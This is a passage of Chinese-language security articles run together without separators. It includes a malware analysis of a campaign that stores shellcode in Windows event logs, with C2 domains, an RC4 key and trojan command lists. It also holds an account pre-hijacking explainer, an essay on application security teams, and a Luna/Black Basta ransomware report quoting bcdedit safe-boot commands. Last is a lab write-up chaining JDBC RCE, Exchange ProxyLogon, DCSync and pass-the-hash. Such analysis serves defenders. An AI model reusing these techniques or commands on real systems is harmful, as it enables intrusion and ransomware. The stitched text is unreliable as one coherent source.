和Slingshot，它們都是SilentBreak 框架中的工具，而與dropper (sb.dll) 關聯的“sb”可能是供應商名稱的縮寫。 這裡我們要提一下，二進製文件中的幾個.pdb 路徑包含項目的目錄C:\Users\admin\source\repos\drx\ 以及其他未以Throwback 或Slingshot 命名的模塊，例如drxDLL.dll。但是，加密函數與公開可用的Throwback 代碼中的相同。 反檢測設計對於反檢測包裝器，使用了不同的編譯器。除了MSVC，Go 編譯器1.17.2 和MinGW 下的GCC 都在使用。解密器差異很大，它們包含的功能如下表所示： 幾個編譯器——可以使用Go 和C++ 模塊完成相同的AES256 CBC 解密； 列入白名單的啟動器——WerFault.exe 的自動運行副本將啟動器映射到進程地址空間； 數字證書——15 個文件使用“Fast Invest”證書籤名，我們沒有觀察到任何用它簽名的合法文件 修復ntdll.dll 的日誌記錄導出——為了更加隱蔽，Go dropper 將與日誌記錄相關的API 函數（如EtwEventWriteFull）修復到具有空功能的自地址空間中； 在事件日誌中保留shellcode——這是攻擊者的主要創新，使用next stager 加密的shellcode 被分成8 KB 的block並保存在事件日誌的二進制部分中； C2 網絡域名模仿——攻擊者在使用標題中，註冊了一個ERP網絡域名； 這層感染鏈解密、映射到內存並啟動代碼。本文我們將僅介紹Cobalt Strike 的Go 解密啟動器。 主包中的函數名稱被混淆了，Main.init 從與事件日誌創建相關的kernel32.dll 和ntdll.dll 庫（WriteProcessMemory 和其他函數）中解碼Windows API 函數名稱。二進製文件中的每個名稱都連續四次使用base64 編碼。使用WriteProcessMemory，擁有“xor rax, rax; ret”的dropper在內存中編碼以下函數：EtwNotificationRegister、EtwEventRegister、EtwEventWriteFull、EtwEventWriteFull、EtwEventWrite。 在Main.start 中，惡意軟件會檢查主機是否在域中，並且只有在它為真時才起作用。然後動態解析上述函數的地址。下一個stager使用AES256（CBC 模式）加密，密鑰和IV 使用base64 編碼。 使用這種方法，研究人員需要編寫一些腳本來收集下一個模塊的加密部分。解密後，要獲得最終的可移植可執行文件，還需進一步轉換數據。 最後stager類型Last stager 有兩種通信機制——使用RC4加密的HTTP通信機制和使用命名管道的非加密通信機制。後一種方式在技術上能夠與任何網絡可見的外部主機通信，但在Windows環境中，命名管道是建立在SMB協議之上的，它幾乎不會對外部網絡開放。所以這些模塊很可能用於橫向移動。 在對惡意軟件集進行了介紹之後，我們現在將描述感染鏈，研究人員使用Cobalt Strike 滲透測試套件進行Dropper注入。 用DLL中的Dropper實現order劫持研究人員從wrapper-dropper 動態庫開始自定義模塊分析。此代碼被注入到諸如explorer.exe 之類的Windows 進程中。在加載到啟動程序進程的虛擬地址空間後，在其單個入口點，dropper 刪除由先前stager或執行創建的文件。 首先，該模塊將原始合法的操作系統錯誤處理程序WerFault.exe 複製到C:\Windows\Tasks。然後，它將一個加密的二進制資源放置到同一目錄中的wer.dll文件中，以進行典型的DLLorder劫持。為了持久化，該模塊將新創建的WerFault.exe設置為自動運行，在Software Microsoft\Windows\CurrentVersion\Run Windows系統註冊分支中創建一個Windows問題報告值。 dropper 不僅將啟動器放在磁盤上進行側載，而且還會將帶有shellcode 的信息消息寫入現有的Windows KMS 事件日誌。 被刪除的wer.dll是一個加載器，如果沒有隱藏在Windows事件日誌中的shellcode，它不會造成任何傷害。 dropper在事件日誌中搜索類別為0x4142（ASCII 中的“AB”）並以密鑰管理服務作為源的記錄。如果沒有找到，則通過ReportEvent() Windows API 函數（lpRawData 參數）將8KB 的shellcode 塊寫入信息記錄消息。從1423 開始，創建的事件ID 會自動遞增。 wer.dll 中的啟動器這個啟動器，被第一個stager放到Tasks 目錄中，它代理所有對wer.dll的調用，並將其導出到原始合法庫。在入口點，一個單獨的線程將所有上述8KB 片段組合成一個完整的shellcode 並運行它。由合法WerFault.exe 的副本創建的相同虛擬地址空間用於所有這些代碼。 為了防止WerFault 繼續其錯誤處理過程，DLL 使用典型的Blackbone trampoline修復啟動器的入口點 阻止合法啟動器執行的方法很新穎。在主線程中，wer.dll 找到它的入口點並用一個簡單的函數對其進行修復。上面屏幕截圖中的WaitAndExit() 只會使用日誌收集線程ID 調用WaitForSingleObject() ，然後退出，這意味著永遠不會執行真正的WerFault.exe 錯誤處理代碼：映射到其地址空間的欺騙性DLL 會阻止它。 Windows 事件日誌中的Shellcode 啟動器將控制傳輸到收集的shellcode 的第一個字節。在本文中，研究人員為下一個函數準備了三個參數： 下一個stager木馬的地址，它也包含在從事件日誌中提取的數據中； 導出函數名稱的標準ROR13 哈希在此木馬中加載(0xE124D840)； 字符串“dave”和常量“4”的地址，它們成為導出函數的參數，可以通過哈希找到； 解析下一個Windows 可移植可執行文件以定位其入口點的做法是非常典型的。為了讓下一個stager的木馬不那麼顯眼，攻擊者清除了標題中的“MZ”魔法。在木馬的入口點調用代碼後，shellcode 還會搜索請求導出並調用它。 除了搜索入口點並調用它，shellcode 還通過硬編碼哈希搜索木馬導出，並使用參數“dave”和“4”運行找到的函數 HTTP木馬相比之前的輔助模塊，對於最後一個stager，我們會介紹的更詳細一些。 C++ 模塊顯然使用了SilentBreak（現為NetSPI）的Throwback 公共存儲庫中的代碼：基於XOR 的加密函數，一些示例的原始文件名，例如ThrowbackDLL.dll 等。讓我們從前面提到的Load()導出函數開始。這就像上面的WerFault補丁（函數在主木馬線程上等待），但是它忽略了任何參數，所以“dave”和“4”沒有被使用。這個啟動器可能支持比這個更多的模塊。 目標搜索該模塊使用單字節XOR 密鑰解密C2 域，在此示例中，只有一個域eleed[.]online。該木馬能夠處理其中的許多，以“|”字符分隔並加密。為了進一步通過普通HTTP進行通信，木馬從用戶代理“Mozilla 5.0”的集合中隨機選擇一個C2。 該惡意軟件通過收集以下信息生成一個追踪字符串，也用“|”分隔： 1.SOFTWARE\Microsoft\Cryptography 中MachineGUID 的值； 2.計算機名稱； 3.使用GetAdaptersInfo 獲取的本地IP 地址； 4.架構（x86 或x64）； 5.操作系統版本； 6.當前進程是否有SeDebugPrivilege； 追踪識別器還將“1.1”附加到字符串（可能是惡意軟件版本）和當前配置的睡眠時間。 與C2進行加密的HTTP通信 在HTTP通信之前，該模塊使用硬編碼的32字節長的RC4密鑰發送空(但仍然加密)的ICMP數據包來檢查連接。與任何其他字符串一樣，此密鑰使用基於Throwback xor的算法加密。 如果ping端口為80的控制服務器成功，則將上述追踪數據發送到該控制服務器。作為回應，C2共享木馬主循環的加密命令。 木馬命令代碼的命令功能0——再次對目標進行追踪識別； 1——執行命令，木馬在新進程中執行接收到的命令並將結果發送回C2； 2——從URL 下載並保存到給定路徑； 3——設置新的睡眠時間，如果C2 尚未響應要執行的命令，則將此時間(以分鐘為單位)用作超時。隨機化公式為(0,9 - 1,1之間的隨機數)*睡眠時間； 4——在不改變配置的情況下休眠指定的分鐘數。 5——列出具有PID、路徑、所有者、名稱和父數據的進程； 6——將shellcode 注入並運行到目標進程的地址空間。要注入同一個進程，命令參數應該是“local”。與事件日誌中的shellcode 一樣，該代碼將運行提供的PE 的入口點以及通過哈希找到的特定導出。 99——終止木馬和C2之間的會話。 本次活動中使用的另一個木馬是基於管道命名的，這樣命令系統更有意義，包括特權升級、截圖、非活動時間測量等。繼續使用另一種最後stager的木馬類型，發現它被注入到了像edge.exe這樣的進程中。 基於管道命名的木馬木馬的位置是C:\Windows\apds.dll，具有相同名稱的原始合法Microsoft 幫助數據服務模塊庫位於C:\Windows\System32 中。木馬的主要工作週期是在一個單獨的線程。該惡意軟件還導出一個Load()函數，其唯一目的是等待一個工作線程，這是該活動的模塊的典型。 首先，木馬主線程獲取原始apds.dll並導出，並將其保存到內存中木馬映像之後的一個已分配的新堆緩衝區中。然後，木馬會編輯自己導出的函數數據，這樣它就可以通過如下精心製作的存根調用原始的apds.dll導出，其中的地址就是從真正的apds.dll解析出來的地址： 這個trampoline代碼取自Blackbone Windows內存黑客庫(remotemmemory:BuildTrampoline函數)。 DLL劫持並不是什麼新鮮事，我們已經多次看到這種技術被用於代理合法函數，但僅用短存根重新創建自導出來調用原始合法函數卻很不尋常。然後，該模塊創建一個雙工命名的管道“MonolithPipe”，並進入它的主循環。 工作週期在對導出函數進行上述操作後，該模塊會輕微地使用架構和Windows 版本信息對主機進行追踪識別。木馬還使用提到的稀有常量初始化一個隨機的11 字節ASCII 字符串，例如這裡的init_keys 函數。結果用作唯一的會話ID。 惡意軟件連接到端口443 上的硬編碼域（在本例中為https://opswat[.]info:443），並向C2 端的submit.php 發送POST 請求。 HTTPS 連接選項設置為接受服務器端的自簽名證書。在本例中，C2通信使用Dhga(81K1!392-!(43KakjaiPA8$#ja密鑰的RC4算法加密。對於基於管道命名的木馬，常用的命令有： 0——將“continue”標誌設置為False 並停止工作； 1——N/A，保留至今； 2——獲取自上次用戶輸入以來的時間（以分鐘為單位）； 3——獲取當前進程信息：PID、架構、用戶、路徑等； 4——獲取主機域和用戶帳戶； 5——使用提供的憑據模擬用戶； 6——獲取當前進程的可用權限； 7——使用cmd.exe 解釋器執行命令； 8——使用與給定主機（地址和端口）的原始TCP 套接字測試的連接； 9——獲取正在運行的進程信息：路徑、所有者、名稱、父進程、PID等； 10——使用提供的ID 的進程令牌模擬用戶； 11——列出目錄中的文件； 12——截取屏幕截圖； 13——將內容寫入文件； 14——讀取文件內容； 15——刪除文件； 16——將提供的代碼注入到具有給定名稱的進程中。 17——在C2上運行shellcode； 研究人員現在已經介紹了該活動的三個層面，有趣的是，研究人員觀察到一個木馬俱有如上表所示的完整命令集，但仍然使用rc4加密的HTTP與C2通信，而不是指定管道。最後一個stager的示例看起來像一個模塊化的平台，攻擊者能夠根據他們當前的需要組合其功能。 基礎設施 研究人員認為這些代碼是自定義的(木馬、包裝器)，與以前已知的活動或以前註冊的SilentBreak工具集模塊沒有相似之處。現在研究人員不願意給這個活動命名，而是堅持只用“SilentBreak”。

帳戶劫持（Account hijacking）是控制他人賬戶的行為，目的通常是竊取個人信息、冒充或勒索受害者。賬戶劫持作為一種常見的攻擊類型，執行起來卻並不容易，為了成功實施攻擊，攻擊者必須提前弄清楚受害者的密碼。 不過，研究人員已經發現了一種稱為“帳戶預劫持”（Pre-Hijacking）的新型攻擊。它涉及到利用尚未創建的帳戶，並允許攻擊者在不訪問密碼的情況下實現相同的目標。 那麼究竟什麼是帳戶預劫持，以及如何免受此類劫持的影響呢？ 帳戶預劫持概念帳戶預劫持是一種新型的網絡攻擊。攻擊者需要使用其他人的電子郵件地址在流行服務上創建一個帳戶。 當受害者嘗試使用相同的電子郵件地址去創建帳戶時，攻擊者就擁有並保留了對該帳戶的控制權。然後，攻擊者就可以訪問受害者提供的任何信息。而且，他們會在之後的一段時間，持續獨占對該帳戶的控制權。 帳戶預劫持的運行方式為了進行預劫持，攻擊者首先需要訪問一個電子郵件地址。而這些地址信息遍布暗網，例如，當發生數據洩露時，就會出現大量電子郵件地址被轉儲到暗網中。 然後，攻擊者會在該電子郵件地址所有者尚未使用的流行服務上創建一個賬戶。鑑於許多大型服務提供商通常會提供廣泛的服務棧，因此預測受害者會在某個時刻註冊這樣的賬戶並不困難。而且，這些活動通常是批量進行的，旨在提高成功率。 當受害者試圖用電子郵件地址在目標服務上創建一個帳戶時，他們就會被告知該帳戶已存在，並會被要求重置他們的密碼。而大多數受害者會質疑自身確實已經註冊過賬戶，並按照要求重置他們的密碼。 隨後，攻擊者將會收到新帳戶密碼的更新通知，並持續保留對該賬戶的訪問權限。 這種攻擊發生的具體機制各不相同，但主要分為五種不同的類型。 帳戶預劫持主要類型經典聯合歸併（Classic-Federated Merge）攻擊如今，許多在線平台都會讓您選擇聯合身份（例如，您的Gmail帳戶）登錄，或使用您的Gmail地址來創建新帳戶。如此一來，如果攻擊者使用您的Gmail地址註冊了賬戶，那麼在您使用Gmail帳戶登錄時，就可能訪問到同一個帳戶內，進而遭受賬戶預劫持攻擊。 未過期的會話標識符（Unexpired Session Identifier）攻擊攻擊者使用受害者的電子郵件地址創建一個帳戶，並持續保持一個活躍的會話。當受害者創建一個帳戶並重置他們的密碼時，由於平台並未將原先的攻擊者從活躍會話中註銷，因此攻擊者仍保留對該帳戶的控制權。 木馬標識符（Trojan Identifier）攻擊攻擊者創建了一個帳戶並添加進一步的賬戶恢復選項，這可能是另一個電子郵件地址或電話號碼。如此一來，即便受害者可以重置該帳戶的密碼，但攻擊者仍然可以使用帳戶恢復選項來控制它。 未過期的電子郵件更改（Unexpired Email Change）攻擊攻擊者創建一個帳戶並啟動電子郵件地址的更改請求。這樣，他們會收到一個鏈接，用於更改帳戶的電子郵件地址，但他們並沒有完成該過程。受害者可以重置該帳戶的密碼，但這並不一定會使攻擊者之前收到的鏈接失效。然後，攻擊者仍可使用該鏈接來控制該帳戶。 非驗證身份提供商（Non-Verifying Identity Provider）攻擊攻擊者使用無需郵件地址身份驗證的提供商來創建帳戶。當受害者使用相同的電子郵件地址註冊時，他們可能都可以訪問同一個帳戶。 帳戶預劫持的可能性正常情況下，如果攻擊者使用您的電子郵件地址註冊新帳戶，通常會被要求去驗證電子郵件的地址。假設他們沒有入侵您的電子郵件賬戶，這幾乎是不可能的。 不過，問題就在於，許多服務提供商會允許用戶在驗證電子郵件之前，以有限的功能開啟和訪問帳戶。這就為攻擊者提供了可乘之機，允許他們在無需驗證的情況下為此類攻擊準備好一個帳戶。 易受攻擊的“重災”平台Alexa公司研究人員針對全球排名前150的75個不同類型平台進行了測試，結果發現，其中35個平台存在潛在漏洞。這些平台包括LinkedIn、Instagram、WordPress以及Dropbox等知名品牌。 雖然研究人員已經通知了所有存在潛在漏洞的公司，但目前尚不清楚他們是否已採取足夠的措施來防範此類攻擊。 攻擊對受害者的危害如果您受到此類攻擊，攻擊者將可以訪問到您提供的任何信息。根據具體的帳戶類型，這可能涉及個人隱私信息。如果攻擊者針對電子郵件提供商執行此類攻擊，那麼他們甚至可能會試圖冒充您。如果您的賬戶極具價值，它也可能會被盜，並要求您支付贖金來贖回該賬戶。 帳戶預劫持防禦策略針對這種威脅的主要保護措施是明確它的存在。 如果您設置了一個帳戶，並被告知該帳戶已經存在，那麼您應該使用不同的電子郵件地址去進行註冊。如果您為所有最重要的帳戶使用不同的電子郵件地址，那麼這種攻擊既幾乎是不可能的。 在一定程度上，這種攻擊的成功還得益於用戶不使用雙因素身份驗證（2FA）。如果您在設置帳戶時啟用雙因素身份驗證，那麼其他有權訪問該賬戶的人將無法登錄。當然，雙因素身份驗證還可用於防範其他在線威脅，例如網絡釣魚和數據洩露等。 賬戶預劫持很容易避免帳戶劫持是一種常見威脅，但帳戶預劫持卻是一種新型威脅，到目前為止，還主要是理論上的。在註冊許多在線服務時可能會出現這種情況，但目前還沒有被認定為經常發生的情況。 雖然此類攻擊的受害者可能會喪失帳戶訪問權限並造成個人信息洩露，但它同時也很容易避免。如果您註冊了一個新帳戶並被告知賬戶已存在，請記住務必使用不同的電子郵件地址完成註冊。同時，踐行帳戶安全實踐來防範和規避此類攻擊。

數字化轉型是一股不可忽視的力量。在每個垂直領域，企業都努力成為技術公司，並越來越多地區分他們如何實現這一描述。 雲和DevOps在這種轉型中發揮著巨大的作用，並徹底改變了我們開發和運營軟件的方式。軟件從未像今天這樣容易創建，從未像今天這樣頻繁地更新，也從未創新過如此迅速地適應客戶需求。 面對這樣的變化，安全別無選擇，只能適應。企業必須並將繼續努力提高速度，而獨立團隊是實現這一目標的唯一途徑。我們保護應用程序的方式必須轉變，使其成為這些獨立開發團隊日常工作的一部分。安全團隊首先需要專注於幫助這些團隊實現安全性。安全性需要成為開發優先。 安全行業並不是DevOps旅程的一部分。安全流程傾向於控制持續流程，而不是合併到流程中。值得注意的是，安全流程無法實現以下功能： 增強獨立開發團隊的能力安全能力由一個單獨的團隊擁有，開發團隊無權做出安全決策，並且工具主要是為審計人員而不是構建人員設計的。 持續運維安全流程仍然嚴重依賴手動門，例如安全審計或結果審查，從而減慢了持續流程的速度。 讓安全工作違背速度和獨立性的業務動機，不可能有好下場。開發團隊必須在放慢速度（這會損害業務成果）和規避安全控制（這會引入重大風險）之間做出選擇。這些都不是可行的長期選擇，因此企業必須改變其安全實踐以適應DevOps現實。 DevOps推動了對開發優先的安全方法論的需求，在數字化轉型時代，我們還看到了雲的演變和雲原生應用程序。雲原生應用程序的範圍比其前身更廣泛，並且越來越多地包含底層堆棧的更多元素。 應用程序範圍的這種變化也需要改變應用程序安全的範圍。本文討論應用程序安全性的一個新的和擴展的範圍，稱為雲原生應用程序安全（CNAS）。 採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大更改。進行轉變的過程是一個旅程，對於每個組織，甚至對於同一組織的不同部分，其經歷都是不同的。 雖然選擇正確的道路是由你的決定，但是為了獲得正確的路徑，模式和最佳實踐已經開始出現。在本文中，我提出了幾個可以考慮打破現狀的領域，以及如何打破現狀。 重新思考安全組織架構組織通常根據責任範圍進行拆分。當你將保護基礎架構的某些部分視為應用程序安全問題時，請重新考慮如何構建安全組織。更具體地說，請考慮是否更改應用程序安全團隊的責任範圍。 此外，隨著你的安全實踐變得更加偏向開發優先的理念，並專注於增強開發人員的能力，你對此應用程序安全團隊的要求也會發生變化。你需要更多的同理心和項目管理以及更多的工程能力。你需要更多的建設者和更少的破壞者。 為了幫助你評估安全部門的組織結構，以下是我在應用程序安全這個領域中看到的三個最常見的團隊作用域：核心應用程序安全、安全工程和較新的產品安全。這些應該作為如何構建組織的參考點，而不是採用完美的模型。 核心應用安全團隊讓我們從現狀開始，為應用程序安全團隊保持相同的範圍。由於這是默認狀態，因此大多數組織都使用此團隊作用域，至少作為起點。 核心應用程序安全團隊的任務是保護自定義應用程序代碼和業務邏輯以及正在使用的開源庫。他們通常擁有經典的應用程序安全測試（AST）套件，包括靜態，動態和交互式應用程序安全測試（SAST，DAST和IAST）以查找自定義代碼中的漏洞，以及軟件成分分析（SCA）工具以查找易受攻擊的開源庫。此外，這些團隊通常會開發安全教育和培訓，並可能開展漏洞管理或漏洞賞金工作。在某些情況下，他們也可能使用RASP或WAF工具實現運行時應用程序保護的能力。 核心應用程序安全團隊成員通常需要是安全編碼方面的專家，並具有應用程序運行審核和安全代碼審計的一些經驗。他們需要良好的開發人員同理心才能與開發人員合作，這反過來又需要一些理解或與代碼相關的能力，但不需要完整的軟件開發證書。 堅持設定核心應用程序安全團隊的主要優勢是它在行業中的長期地位。它使招聘具有整個團隊領域經驗的專業人員變得更容易。對於工具來說，這是一個工具和實踐被很好地記錄的領域。從組織結構的角度來看，大多數行業都會認為應用程序安全團隊與核心應用程序安全團隊類似。 雖然核心應用程序安全團隊的職責範圍是維持現狀，但它的方法論往往變得更加有利於開發人員。應用程序安全團隊通常會將團隊中的個人職責分配為多個開發團隊的合作夥伴，從而幫助促進更好的協作。在應用安全領域有許多同行會開展安全冠軍計劃，幫助他們獲得規模並在開發團隊中嵌入更多安全專業知識。雖然範圍基本保持不變，但核心應用程序安全團隊的內部實踐不必是傳統的那些做法。 安全工程/安全平台團隊將安全管控流程的步驟實現自動化是現代開發環境中的關鍵。快速CI/CD管道沒有手動審查的空間，而是需要自動化管道測試。此外，開發人員不是安全專家，他們花在安全上的時間更少，因此需要具有嵌入式安全專業知識的工具，並能夠減輕或促進安全性決策。 構建和運營安全工具並非易事，尤其是在大型組織中，不同的開發團隊有著截然不同的要求。為了幫助提高自動化程度，一些組織創建了專門的安全工程團隊，專注於構建內部工具和集成外部工具，所有這些都是為了增強安全性。 安全工程團隊由對安全性略有偏見的軟件工程師組成，其運作方式與完整的DevOps工程團隊類似。他們通常構建、部署和運營他們構建的服務，並使用與其他工程團隊相同的方法來運行其敏捷流程和管理產品積壓工作。 如果工作量不夠大，不足以保證單獨建立自己的團隊，那麼同樣的活動通常也可以嵌入到核心應用程序安全團隊中。然而，儘管名為“安全工程”的團隊在章程中非常一致，但擁有（越來越普遍的）安全工程師頭銜的個人在職責上差異很大。有些人是上文所描述的軟件工程師，而對於其他人來說，頭銜中的“工程師”部分指的則是安全領域。 安全工程團隊是真正提高自動化程度的好方法，並且是面向運維的平台或站點可靠性工程師（SRE）團隊的絕佳並行團隊。事實上，在相當多的情況下，平台團隊的範圍已經擴大到包括構建和運營此類安全工具。這也是讓軟件工程師加入安全團隊的好方法，幫助解決人才短缺問題，並在安全團隊中建立更多的開發人員同理心。 產品安全團隊/雲原生應用安全團隊安全團隊模式的最新成員是產品安全團隊。這些團隊的範圍更大，不僅包括應用程序代碼本身，還包括與產品有關的所有內容。最值得注意的是，兩個關鍵的新增功能是捕獲完整的CNAS範圍，並幫助在產品本身中構建安全功能。 完整的雲原生應用安全範圍擴展到包括CNAS範圍是將某些基礎架構風險重新思考為應用程序安全性的自然結果。如今，像容器和IaC這樣的技術都是由編寫自定義代碼、使用相同實踐和工具的相同開發人員驅動的。為了支持這一變化，AppSec團隊需要支持這些工程師成功地做到這一點。擁抱這個更廣泛範圍的團隊通常將自己稱為產品安全團隊。 這種擴展的CNAS範圍意味著產品安全團隊在軟件開發生命週期中的更大一部分內開展工作。包括更多的參與到生產部署甚至運維工作中，從而導致與更注重運營的雲安全團隊重疊。在實踐中，雲原生開發意味著雲安全同時受到開發和運維團隊的影響，產品安全團隊覆蓋前者。 請注意，許多核心應用程序安全團隊正在擴展以涵蓋完整的CNAS範圍，而無需正式更改其團隊名稱和任務。選擇和實施解決方案來掃描容器鏡像以查找漏洞並審核IaC文件越來越成為應用程序安全團隊的領域。雖然可以安全地假設產品安全團隊捕獲了這個完整的範圍，但這樣的重命名並不是絕對必要的，而且許多應用安全團隊在沒有這種聲明的情況下已經發展起來了。 產品安全功能與CNAS無關但仍然值得注意的一點是，產品安全團隊的參與具有更面向用戶的安全性部分：安全功能。隨著用戶對安全的重要性的認識不斷提高，許多產品都希望構建專用的安全功能，並通過它們實現差異化。確定哪些安全功能有價值需要一定程度的安全理解，開發團隊可能沒有，但安全團隊有。產品安全團隊通常在這裡扮演一個明確的角色，與產品經理（PM）合作，他們擁有完整的產品功能和價值主張，比以往任何時候都要多。 此職責在應用程序和安全團隊之間的關係中起著重要作用。安全控制是降低風險的一種手段，但能夠將此風險緩解作為安全功能提供意味著它可以幫助增加收入。增加收入是兩個團隊的另一個共同目標，而且比降低風險更明顯，這使得慶祝成功變得更加容易。 產品安全的演變產品安全是一個新的頭銜和範圍，並且仍在定義中。鑑於其範圍更廣，它通常是上級頭銜或大團隊，其中包括提到的其他團隊。在一些雲原生組織中，產品安全是首席安全官（CSO）的主要範圍，而其他一些組織則開始任命領導者為首席產品安全官（CSO）。 Atlassian首席信息安全官（CISO）AdrianLudwig說得最好，他說：“產品安全的目標是改善產品的安全狀況，並在內部向開發團隊代表客戶的安全期望”。 Twilio，Deliveroo和Snyk等其他公司也使用這個頭銜，我相信這是解決CNAS的正確方法。 DevSecOps團隊呢？ 你可能已經註意到我沒有說出DevSecOps團隊的名字，這不是偶然的。與DevOps一樣，DevSecOps不是一個團隊;這是一項運動，旨在將安全性嵌入到核心開發和運營工作中。在我看來，它不應該是一個團隊的頭銜。 但是，就像DevOps團隊一樣，DevSecOps團隊也存在，他們的任務也大不相同。有時，他們實際上是一個雲安全團隊，專注於運營和運行時的安全性。其他時候，它們更像平台，其職責範圍類似於安全工程團隊。由於頭銜並不意味著一組特定的職責，因此DevSecOps團隊的職責範圍並不是可以真正定義的。 然而，所有這些團隊的共同點是他們具有前瞻性思維。 DevSecOps旨在改變我們做安全的方式，而DevSecOps團隊，無論其範圍如何，都始終將自己視為變革推動者。他們擁抱自動化和雲，更喜歡工程化的安全解決方案而不是開展審計工作，並致力於授權開發和運維團隊能夠自己保護自己的工作。

Luna：用Rust 編寫的全新勒索軟件上個月，卡巴斯基實驗室的研究人員在暗網勒索軟件論壇上發現了一個新型惡意軟件，該惡意軟件是用Rust 編寫的，可以在Windows、Linux 和ESXi 系統上運行，研究人員通過卡巴斯基安全網絡(KSN) 找到了一些樣本。 Luna 中可用的命令行選項 從可用的命令行選項來看，Luna 相當簡單。但是，它使用的加密方案並不那麼典型，因為它涉及x25519 和AES，這是勒索軟件方案中不經常遇到的組合。 Linux 和ESXi 示例都是使用相同的源代碼編譯的，與Windows 版本相比有一些細微的變化。例如，如果Linux 示例在沒有命令行參數的情況下執行，它們將不會運行。相反，它們將顯示可以使用的可用參數。其餘代碼與Windows 版本相比沒有顯著變化。 開發者稱Luna 只與講俄語的機構合作。此外，在二進製文件中硬編碼的贖金記錄包含拼寫錯誤。例如，它說“a little team”而不是“a small team”。因此，我們假設Luna 背後的開發者是講俄語的人。由於Luna 是一個新發現的組織，關於其受害者的數據仍然很少。 Luna 證實了跨平台勒索軟件的趨勢：當前的勒索軟件組織嚴重依賴Golang 和Rust 等語言，其中就包括BlackCat 和Hive。這些語言與平台無關，用這些語言編寫的勒索軟件可以很容易地從一個平台移植到其他平台，因此攻擊可以同時針對不同的操作系統。除此之外，跨平台語言有助於規避靜態分析。 Black Basta Black Basta 是一種用C++ 編寫的相對較新的勒索軟件變體，於2022 年2 月首次被發現。該惡意軟件、基礎設施和活動當時仍處於開發模式。例如，受害者博客尚未上線，但Black Basta 網站已經可供受害者使用。 Black Basta 支持命令行參數“-forcepath”，該參數只用於加密指定目錄下的文件。否則，整個系統(除某些關鍵目錄外)將被加密。 兩個月後，也就是四月，勒索軟件變得更加成熟。新功能包括在加密之前以安全模式啟動系統，以及出於持久性原因模仿Windows 服務。 安全模式重啟功能並不是我們每天都會遇到的，儘管它有它的優勢。例如，一些終端解決方案不會在安全模式下運行，這意味著不會檢測到勒索軟件，並且系統中的文件可以“輕鬆”加密。為了以安全模式啟動，勒索軟件執行以下命令： C:\Windows\SysNative\bcdedit/setsafebootnetworkChanges C:\Windows\System32\bcdedit/setsafebootnetworkChanges早期版本的Black Basta 包含與當前使用的不同的記錄，顯示出與Conti使用的贖金記錄相似。這並不像看起來那麼奇怪，因為當時Black Basta 仍處於開發模式。 贖金記錄比較 為了確定Conti 和早期版本的Black Basta 之間確實沒有代碼重疊，研究人員人員提取了一些樣本。確實，如下圖所示，只有字符串重疊。因此，代碼本身沒有重疊。 與Conti 勒索軟件重疊 適用於Linux 的Black Basta在上個月的另一份報告中，我們討論了Linux 的Black Basta 版本。它是專門為ESXi 系統設計的，但它也可以用於Linux 系統的一般加密，儘管這會有點麻煩。 就像Windows 版本一樣，Linux 版本只支持一個命令行參數：“-forcepath”。使用時，只對指定目錄進行加密。如果沒有給出參數，“/vmfs/volumes”文件夾將被加密。 該版本的加密方案使用ChaCha20和多線程技術，借助系統中不同的處理器來加速加密過程。鑑於ESXi環境通常使用多個CPU 來執行VM 場，惡意軟件的設計（包括所選的加密算法）允許操作員盡快對環境進行加密。在加密文件之前，Black Basta 使用chmod 命令在與用戶級別相同的上下文中訪問它。 Black Basta目標對Black Basta 組織發布的受害者的分析顯示，迄今為止，該組織已成功在很短的時間內攻擊了40 多名不同的受害者。受害者博客顯示，包括製造、電子、承包商等在內的各個業務部門都受到了影響。根據分析數據，我們可以看到歐洲、亞洲和美國也受到了攻擊。

0x00 IntroOSCP 渗透风格，脱离C2和MSF之类的工具Box 难度不高 0x01 InfoTag: JDBC, Exchange, NTLM, Coerce Authentication, DCSync 0x02 ReconTarget external IP 39.98.179.149Nmap results 直接关注8000端口，前面我已经怼过80了，没东西直接过 华夏ERP，有很多漏洞的，入口点卡了很久，后面看到JDBC，直接谷歌一搜就搜到大哥的文章了 Fastjson高版本的奇技淫巧 – Bmth (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA)构造payload Configure MySQL_Fake_Server 未授权 + MySQL Connector JDBC反序列化组合拳直接RCE RCE后直接获取 Flag01 0x03 入口点：172.22.3.12SMB扫描内网主机，看到Exchange关键字 (EXC01)，尝试访问 172.22.3.9 为 Exchange Proxylogon 直接打死，获取system权限 flag02（后续凭据收集略过） 0x04 入口点：172.22.3.9快进1：已经收集到了exchange机器账户的hash快进2：同时收集到了一个域账户凭据：Zhangtong这边已经通过上面的操作收集到了exchange的机器账户hash，exchang的机器账户在域内对整个domain-object有writedacl权限，那我们直接使用dacledit.py给Zhangtong加dcsync权限（其实你也可以给自己加上dcsync） Dcsync，获取到域管和用户lumia的hashes 进入 172.22.3.2 获取flag04 0x05 Final：172.22.3.26172.22.3.26上面的Lumia用户文件夹里面有个secret.zip 直接PTH Exchange导出Lumia mailbox里面的全部邮件以及附件 item-0.eml，提示密码是手机号 刚好导出的附件里面有一个csv，里面全是手机号 常规操作，转换成pkzip格式的hash再跑字典，跑出密码 flag03 0x06 OutroExchange 后渗透那，作者本意是想让我们用 NTLM Relay去完成DCSync提权，获取Exchange SYSTEM权限后，触发webdav回连中继到ldap，这里的话就不尝试了，有兴趣的话可以看我上一篇文章 Spoofing 2.Lumia用户登录exchange那，作者也是想让你改掉Lumia用户的密码，但是我就懒了，直接PTH 原文链接： https://www.anquanke.com/post/id/286967

